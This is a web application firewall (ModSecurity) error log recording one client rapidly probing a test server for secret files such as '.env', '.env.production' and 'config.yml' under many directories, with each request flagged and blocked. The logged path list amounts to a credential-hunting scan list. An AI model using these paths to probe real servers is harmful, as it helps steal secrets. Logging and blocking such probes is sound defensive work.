[Mon Jul 28 20:46:06.689453 2025] [:error] [pid 1530492] [client 185.177.72.201:42762] [client 185.177.72.201] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/config/.env.production&quot;] [unique_id &quot;aIfFbg9nLjdPblA-25FXwwAAAAU&quot;]
[Mon Jul 28 20:46:06.799626 2025] [:error] [pid 1530492] [client 185.177.72.201:42762] [client 185.177.72.201] ModSecurity: Warning. Matched phrase &quot;/config/config.yml&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /config/config.yml found within REQUEST_FILENAME: /config/config.yml&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/config/config.yml&quot;] [unique_id &quot;aIfFbg9nLjdPblA-25FXxwAAAAU&quot;]
[Mon Jul 28 20:46:06.799823 2025] [:error] [pid 1530492] [client 185.177.72.201:42762] [client 185.177.72.201] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/config/config.yml&quot;] [unique_id &quot;aIfFbg9nLjdPblA-25FXxwAAAAU&quot;]
[Mon Jul 28 20:46:06.799996 2025] [:error] [pid 1530492] [client 185.177.72.201:42762] [client 185.177.72.201] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/config/config.yml&quot;] [unique_id &quot;aIfFbg9nLjdPblA-25FXxwAAAAU&quot;]
[Mon Jul 28 20:46:06.935576 2025] [:error] [pid 1530492] [client 185.177.72.201:42762] [client 185.177.72.201] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /containerregistry/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/ContainerRegistry/.env&quot;] [unique_id &quot;aIfFbg9nLjdPblA-25FXzQAAAAU&quot;]
[Mon Jul 28 20:46:06.935787 2025] [:error] [pid 1530492] [client 185.177.72.201:42762] [client 185.177.72.201] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/ContainerRegistry/.env&quot;] [unique_id &quot;aIfFbg9nLjdPblA-25FXzQAAAAU&quot;]
[Mon Jul 28 20:46:06.935988 2025] [:error] [pid 1530492] [client 185.177.72.201:42762] [client 185.177.72.201] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/ContainerRegistry/.env&quot;] [unique_id &quot;aIfFbg9nLjdPblA-25FXzQAAAAU&quot;]
[Mon Jul 28 20:46:06.957708 2025] [:error] [pid 1530492] [client 185.177.72.201:42762] [client 185.177.72.201] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /containers/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/containers/.env&quot;] [unique_id &quot;aIfFbg9nLjdPblA-25FXzgAAAAU&quot;]
[Mon Jul 28 20:46:06.957902 2025] [:error] [pid 1530492] [client 185.177.72.201:42762] [client 185.177.72.201] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/containers/.env&quot;] [unique_id &quot;aIfFbg9nLjdPblA-25FXzgAAAAU&quot;]
[Mon Jul 28 20:46:06.958055 2025] [:error] [pid 1530492] [client 185.177.72.201:42762] [client 185.177.72.201] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/containers/.env&quot;] [unique_id &quot;aIfFbg9nLjdPblA-25FXzgAAAAU&quot;]
[Mon Jul 28 20:46:06.979800 2025] [:error] [pid 1530492] [client 185.177.72.201:42762] [client 185.177.72.201] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /content/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/content/.env&quot;] [unique_id &quot;aIfFbg9nLjdPblA-25FXzwAAAAU&quot;]
[Mon Jul 28 20:46:06.979995 2025] [:error] [pid 1530492] [client 185.177.72.201:42762] [client 185.177.72.201] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/content/.env&quot;] [unique_id &quot;aIfFbg9nLjdPblA-25FXzwAAAAU&quot;]
[Mon Jul 28 20:46:06.980154 2025] [:error] [pid 1530492] [client 185.177.72.201:42762] [client 185.177.72.201] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/content/.env&quot;] [unique_id &quot;aIfFbg9nLjdPblA-25FXzwAAAAU&quot;]
[Mon Jul 28 20:46:07.002011 2025] [:error] [pid 1530492] [client 185.177.72.201:42762] [client 185.177.72.201] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /control/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/control/.env&quot;] [unique_id &quot;aIfFbw9nLjdPblA-25FX0AAAAAU&quot;]
[Mon Jul 28 20:46:07.002233 2025] [:error] [pid 1530492] [client 185.177.72.201:42762] [client 185.177.72.201] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/control/.env&quot;] [unique_id &quot;aIfFbw9nLjdPblA-25FX0AAAAAU&quot;]
[Mon Jul 28 20:46:07.002447 2025] [:error] [pid 1530492] [client 185.177.72.201:42762] [client 185.177.72.201] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/control/.env&quot;] [unique_id &quot;aIfFbw9nLjdPblA-25FX0AAAAAU&quot;]
[Mon Jul 28 20:46:07.024307 2025] [:error] [pid 1530492] [client 185.177.72.201:42762] [client 185.177.72.201] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /core/app/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/core/app/.env&quot;] [unique_id &quot;aIfFbw9nLjdPblA-25FX0QAAAAU&quot;]
[Mon Jul 28 20:46:07.024546 2025] [:error] [pid 1530492] [client 185.177.72.201:42762] [client 185.177.72.201] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/core/app/.env&quot;] [unique_id &quot;aIfFbw9nLjdPblA-25FX0QAAAAU&quot;]
[Mon Jul 28 20:46:07.024712 2025] [:error] [pid 1530492] [client 185.177.72.201:42762] [client 185.177.72.201] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/core/app/.env&quot;] [unique_id &quot;aIfFbw9nLjdPblA-25FX0QAAAAU&quot;]
[Mon Jul 28 20:46:07.046534 2025] [:error] [pid 1530492] [client 185.177.72.201:42762] [client 185.177.72.201] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /core/datavase/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/core/Datavase/.env&quot;] [unique_id &quot;aIfFbw9nLjdPblA-25FX0gAAAAU&quot;]
[Mon Jul 28 20:46:07.046754 2025] [:error] [pid 1530492] [client 185.177.72.201:42762] [client 185.177.72.201] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/core/Datavase/.env&quot;] [unique_id &quot;aIfFbw9nLjdPblA-25FX0gAAAAU&quot;]
[Mon Jul 28 20:46:07.046920 2025] [:error] [pid 1530492] [client 185.177.72.201:42762] [client 185.177.72.201] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/core/Datavase/.env&quot;] [unique_id &quot;aIfFbw9nLjdPblA-25FX0gAAAAU&quot;]
[Mon Jul 28 20:46:07.068792 2025] [:error] [pid 1530492] [client 185.177.72.201:42762] [client 185.177.72.201] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /core/persistence/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/core/persistence/.env&quot;] [unique_id &quot;aIfFbw9nLjdPblA-25FX0wAAAAU&quot;]
[Mon Jul 28 20:46:07.069001 2025] [:error] [pid 1530492] [client 185.177.72.201:42762] [client 185.177.72.201] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/core/persistence/.env&quot;] [unique_id &quot;aIfFbw9nLjdPblA-25FX0wAAAAU&quot;]
[Mon Jul 28 20:46:07.069162 2025] [:error] [pid 1530492] [client 185.177.72.201:42762] [client 185.177.72.201] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/core/persistence/.env&quot;] [unique_id &quot;aIfFbw9nLjdPblA-25FX0wAAAAU&quot;]
[Mon Jul 28 20:46:07.092785 2025] [:error] [pid 1530492] [client 185.177.72.201:42762] [client 185.177.72.201] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /core/src/main/resources/org/jobrunr/dashboard/frontend/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/core/src/main/resources/org/jobrunr/dashboard/frontend/.env&quot;] [unique_id &quot;aIfFbw9nLjdPblA-25FX1AAAAAU&quot;]
[Mon Jul 28 20:46:07.093010 2025] [:error] [pid 1530492] [client 185.177.72.201:42762] [client 185.177.72.201] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/core/src/main/resources/org/jobrunr/dashboard/frontend/.env&quot;] [unique_id &quot;aIfFbw9nLjdPblA-25FX1AAAAAU&quot;]
[Mon Jul 28 20:46:07.093188 2025] [:error] [pid 1530492] [client 185.177.72.201:42762] [client 185.177.72.201] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/core/src/main/resources/org/jobrunr/dashboard/frontend/.env&quot;] [unique_id &quot;aIfFbw9nLjdPblA-25FX1AAAAAU&quot;]
[Mon Jul 28 20:46:07.114971 2025] [:error] [pid 1530492] [client 185.177.72.201:42762] [client 185.177.72.201] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /counterblockd/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/counterblockd/.env&quot;] [unique_id &quot;aIfFbw9nLjdPblA-25FX1QAAAAU&quot;]
[Mon Jul 28 20:46:07.115175 2025] [:error] [pid 1530492] [client 185.177.72.201:42762] [client 185.177.72.201] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/counterblockd/.env&quot;] [unique_id &quot;aIfFbw9nLjdPblA-25FX1QAAAAU&quot;]
[Mon Jul 28 20:46:07.115355 2025] [:error] [pid 1530492] [client 185.177.72.201:42762] [client 185.177.72.201] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/counterblockd/.env&quot;] [unique_id &quot;aIfFbw9nLjdPblA-25FX1QAAAAU&quot;]
[Mon Jul 28 20:46:07.137267 2025] [:error] [pid 1530492] [client 185.177.72.201:42762] [client 185.177.72.201] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /counterwallet/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/counterwallet/.env&quot;] [unique_id &quot;aIfFbw9nLjdPblA-25FX1gAAAAU&quot;]
[Mon Jul 28 20:46:07.137449 2025] [:error] [pid 1530492] [client 185.177.72.201:42762] [client 185.177.72.201] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/counterwallet/.env&quot;] [unique_id &quot;aIfFbw9nLjdPblA-25FX1gAAAAU&quot;]
